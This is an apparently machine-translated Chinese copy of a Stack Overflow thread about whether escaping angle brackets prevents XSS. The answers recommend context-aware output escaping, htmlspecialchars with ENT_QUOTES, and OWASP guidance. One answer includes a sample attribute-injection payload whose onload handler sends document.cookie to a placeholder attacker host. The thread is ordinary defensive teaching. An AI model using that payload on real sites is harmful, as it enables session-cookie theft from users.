用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?

Posted

技术标签:

【中文标题】用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?【英文标题】:Is replacing : < and > with &lt; and &gt; enough to prevent XSS injection?用 < 和 > 替换 : < 和 > 是否足以防止 XSS 注入? 【发布时间】:2011-01-08 00:15:26 【问题描述】:

我想知道将&lt;&gt;这两个标记是否足以防止XSS注入?

如果不是,为什么?最好的解决方案是什么?

【问题讨论】:

【参考方案1】:

这在很大程度上取决于上下文。

看看这个例子,来自一个典型的论坛网站...

您可以热链接您的头像图片。输入完整的网址。

恶意用户进入输入框

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

那里没有小于和大于的编码,但仍然是一个很大的安全漏洞。

对于htmlspecialchars(),我发现创建(或使用)它的包装函数来转换为字符串是一个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用应用程序的正确字符集。 Kohana 有一个great example。

【讨论】:

嗨,谢谢大家的回答,我问这个是因为我认为所有字符都在数据库中占用更多空间。谢谢 我不会编码进入数据库,但编码出来。通常最好“按原样”存储用户数据,并提供一些机制以使其安全显示。 我完全同意 keep-it-raw-until-it-hits-the-page 方法,但是我强烈建议不要“禁用双引号”,因为它会破坏你的字符串。例如,如果我想说&amp;amp;amp; 在一篇谈论像这样的 HTML 的帖子中,该选项将无法在源代码中将其转义为 &amp;amp;amp;,因此它会在屏幕上显示为 &amp;,使得我看起来像个白痴。编码是一个过程,而不是一个状态。 一般规则是接收数据时做输入验证,输出数据时输出转义。请参阅 OWASP XSS 预防备忘单,了解如何在不同情况下进行逃逸:owasp.org/index.php/…【参考方案2】:

您应该考虑双引号 "、单引号 ' 和 & 符号 &amp;。如果您在显示/生成输出的所有期间都这样做,那么是的,这就足够了。

您只应确保任何用户控制的输入执行此操作,例如请求参数、请求 URL、请求标头和用户控制的输入存储在数据存储中。

在 PHP 中,您可以使用 htmlspecialchars() 来做到这一点,而在 JSP 中,您可以使用 JSTL &lt;c:out&gt; 来做到这一点。

【讨论】:

注意 htmlspecialchars 默认只转义双引号,而不是单引号。但这通常没问题,因为很少使用单引号作为属性分隔符。使用ENT_QUOTES 确保两者兼得。

以上是关于用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?的主要内容,如果未能解决你的问题,请参考以下文章

notepad+++查找和替换 不能用

Laravel 5.3,用图片替换分页链接(<< 和 >>)

用 <p> 标签和类替换标题 (<h1>, <h2> ...) 标签

用 <br/> 替换换行符,在 <code> 标记内用   替换空格

用图像和其他东西替换动态内容

用 std::vector<std::string> 替换命令行参数 int argc 和 char** argv